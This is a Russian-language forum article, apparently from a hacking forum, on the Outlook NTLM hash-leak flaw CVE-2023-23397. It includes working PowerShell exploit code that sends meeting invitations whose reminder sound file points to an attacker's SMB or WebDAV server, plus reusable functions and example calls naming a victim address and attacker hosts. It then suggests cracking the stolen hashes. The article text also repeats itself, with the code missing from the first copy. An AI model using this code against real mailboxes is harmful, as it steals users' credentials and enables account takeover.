CVE-2023-23397 - это уязвимость в офисном пакете Microsoft а точнее в их почтовом клиенте Outlook , позволяющая хакеру сделать пакостные вещи такие как: воровство хешей и эскалации привелегий.
Самое забавное в том что от юзера не нужна никакая отдача, он может спокойно сидеть в офисе, мечтать об отпуске на Кипре, делая ненавистные отчеты по продажам, пока злоумышленики выкачивают у него NTLM хеши.
Уязвимость именовали идентификатором CVE-2023-23397 и она имеет крайне высокий рейтинг опасности из-за довольно простого способа ее реализации - это 9.8 из 10 баллов в системе CVSS.
Краткое описание уязвимости от оконных корпоратов гласит:
"Уязвимость CVE-2023-23397 позволяет удаленному и неавторизованному злоумышленнику несанкционированый доступ к данным пользователя, отправив специально созданное электронное письмо. При получении этого письма Outlook автоматически его обрабатывает, что может привести к тому, что злоумышленник получит учетные данные пользователя. Уязвимость настолько серьезна, что злоумышленнику не требуется открытие электронного письма, чтобы получить доступ к системе. Уязвимость может быть эксплуатирована до того, как электронное письмо будет просмотрено в предварительном просмотре."
Затронутые версии включают:
Ну что же, звучит очень страшно но в тоже время весьма интересно а как именно работает способ экспулуатации данной уязвимости.
Условный хакер отправляет сообщение с расширенным MAPI-свойством с UNC-путем через SMB на подконтрольном хакеру дедике. Эксплуатируются напоминания об встречах в которые и вставляется код позволяющий установить соедиение. Взаимодействие с пользователем не требуется. Эксплуатация запустится автоматически, как только клиент получит электронное письмо. При подключении к удаленному SMB серверу пользователь отправляет потверждение отправки NTLM хеша в виде ReminderSoundFile который сервер Outlook попытается открыть, в виде него будет выступать SMB ссылка, которая передаст хэш NTLM жертвы злоумышленнику, который затем может использовать такую софтину как John The Ripper для взлома хеша а после использовать пароль для аутентификации в других Microsoft системах в качестве подвершегося атаке юзера. Запуск требуется на компьютере с Windows и с установленным Outlook.
Также есть возможность использования данной уязвимости для получения удаленного доступа и повышении привилегий, действует она через абсолютно такой же вектор атаки:
.
Эскалация привелегий через CVE-2023-23397
Но все же давайте вернемся к главной сути.
Вот пример PowerShell кода который используется для эксплуатации:
Вот более усовершенствованный код поддерживающий интерактивность через PowerShell:
Далее можно оперирировать этими командами в зависимости от нужных действий:
Я далеко не самый лучший специалист в сфере ИБ и я не претендую на крутого врайтера, тут как говорила моя бабушка: "Век живи, век учись". Это моя первая статья, так что не судите строго, в любом случае я буду рад конструктивной критике для улучшения своих навыков. Написание подобных статей в первую очередь полезно для меня в плане саморазвития и в то же время возможно будет полезно кому то еще, на что я конечно же очень очень надеюсь. Всем удачи, и да прибудет з вами фаервол!
Самое забавное в том что от юзера не нужна никакая отдача, он может спокойно сидеть в офисе, мечтать об отпуске на Кипре, делая ненавистные отчеты по продажам, пока злоумышленики выкачивают у него NTLM хеши.
Уязвимость именовали идентификатором CVE-2023-23397 и она имеет крайне высокий рейтинг опасности из-за довольно простого способа ее реализации - это 9.8 из 10 баллов в системе CVSS.
Краткое описание уязвимости от оконных корпоратов гласит:
"Уязвимость CVE-2023-23397 позволяет удаленному и неавторизованному злоумышленнику несанкционированый доступ к данным пользователя, отправив специально созданное электронное письмо. При получении этого письма Outlook автоматически его обрабатывает, что может привести к тому, что злоумышленник получит учетные данные пользователя. Уязвимость настолько серьезна, что злоумышленнику не требуется открытие электронного письма, чтобы получить доступ к системе. Уязвимость может быть эксплуатирована до того, как электронное письмо будет просмотрено в предварительном просмотре."
Затронутые версии включают:
Абсолютно все версии Outlook для Windows
Ну что же, звучит очень страшно но в тоже время весьма интересно а как именно работает способ экспулуатации данной уязвимости.
Условный хакер отправляет сообщение с расширенным MAPI-свойством с UNC-путем через SMB на подконтрольном хакеру дедике. Эксплуатируются напоминания об встречах в которые и вставляется код позволяющий установить соедиение. Взаимодействие с пользователем не требуется. Эксплуатация запустится автоматически, как только клиент получит электронное письмо. При подключении к удаленному SMB серверу пользователь отправляет потверждение отправки NTLM хеша в виде ReminderSoundFile который сервер Outlook попытается открыть, в виде него будет выступать SMB ссылка, которая передаст хэш NTLM жертвы злоумышленнику, который затем может использовать такую софтину как John The Ripper для взлома хеша а после использовать пароль для аутентификации в других Microsoft системах в качестве подвершегося атаке юзера. Запуск требуется на компьютере с Windows и с установленным Outlook.
Также есть возможность использования данной уязвимости для получения удаленного доступа и повышении привилегий, действует она через абсолютно такой же вектор атаки:
Эскалация привелегий через CVE-2023-23397
Но все же давайте вернемся к главной сути.
Код:
$ol = New-Object -ComObject Outlook.Application
$meeting = $ol.CreateItem('olAppointmentItem')
$meeting.Subject = 'Сисадмин уезжает на Кипр'
$meeting.Body = 'Завидуйте все, можете не ждать в течении 3 дней'
$meeting.Location = 'Virtual'
$meeting.ReminderSet = $True
$meeting.Importance = 1
$meeting.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$meeting.Recipients.Add('victim@xss.pro') # Адрес жертвы
# Создает собрание через 16 минут в будущем с напоминанием за 15 минут до него — запрос должен запускаться через 1 минуту после запуска.
$meeting.ReminderMinutesBeforeStart = 15
$meeting.Start = [datetime]::Now.AddMinutes(16)
$meeting.Duration = 30
$meeting.ReminderPlaySound = $True
$meeting.ReminderOverrideDefault = $True
# Это и есть причина почему уязвимость существует -
# Outlook будет пытатся удаленно загрузить файл
# Сервер (если такой указан в UNC пути)
$meeting.ReminderSoundFile = "\\<UNC PATH>" # Измените на свой SMB сервер
# Это также может быть WebDAV запрос также как и HTTP или HTTPS запросы:
# $meeting.ReminderSoundFile = "\\xss.pro@80\soundfile.wav"
# $meeting.ReminderSoundFile = "\\xss.pro@SSL@443\soundfile.wav"
$meeting.Save()
$meeting.Send()
Вот более усовершенствованный код поддерживающий интерактивность через PowerShell:
Код:
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meeetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.Recipients.add($recipient)
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.send()
}
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meeetingbody)
{
$Outlook = New-Object -comObject Outlook.Application
$newcal = $outlook.CreateItem('olAppointmentItem')
$newcal.ReminderSoundFile = $remotefilepath
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
$newcal.Subject = $meetingsubject
$newcal.Location = "Virtual"
$newcal.Body = $meetingbody
$newcal.Start = get-date
$newcal.End = (get-date).AddHours(2)
$newcal.ReminderOverrideDefault = 1
$newcal.ReminderSet = 1
$newcal.ReminderPlaysound = 1
$newcal.save()
}
Далее можно оперирировать этими командами в зависимости от нужных действий:
Код:
# Отправка:
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Send-CalendarNTLMLeak -recipient "user.name@exampledomain.com" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
#
# Сохранение:
# Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
# Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Сисадмин на курорте"
Я далеко не самый лучший специалист в сфере ИБ и я не претендую на крутого врайтера, тут как говорила моя бабушка: "Век живи, век учись". Это моя первая статья, так что не судите строго, в любом случае я буду рад конструктивной критике для улучшения своих навыков. Написание подобных статей в первую очередь полезно для меня в плане саморазвития и в то же время возможно будет полезно кому то еще, на что я конечно же очень очень надеюсь. Всем удачи, и да прибудет з вами фаервол!
Последнее редактирование: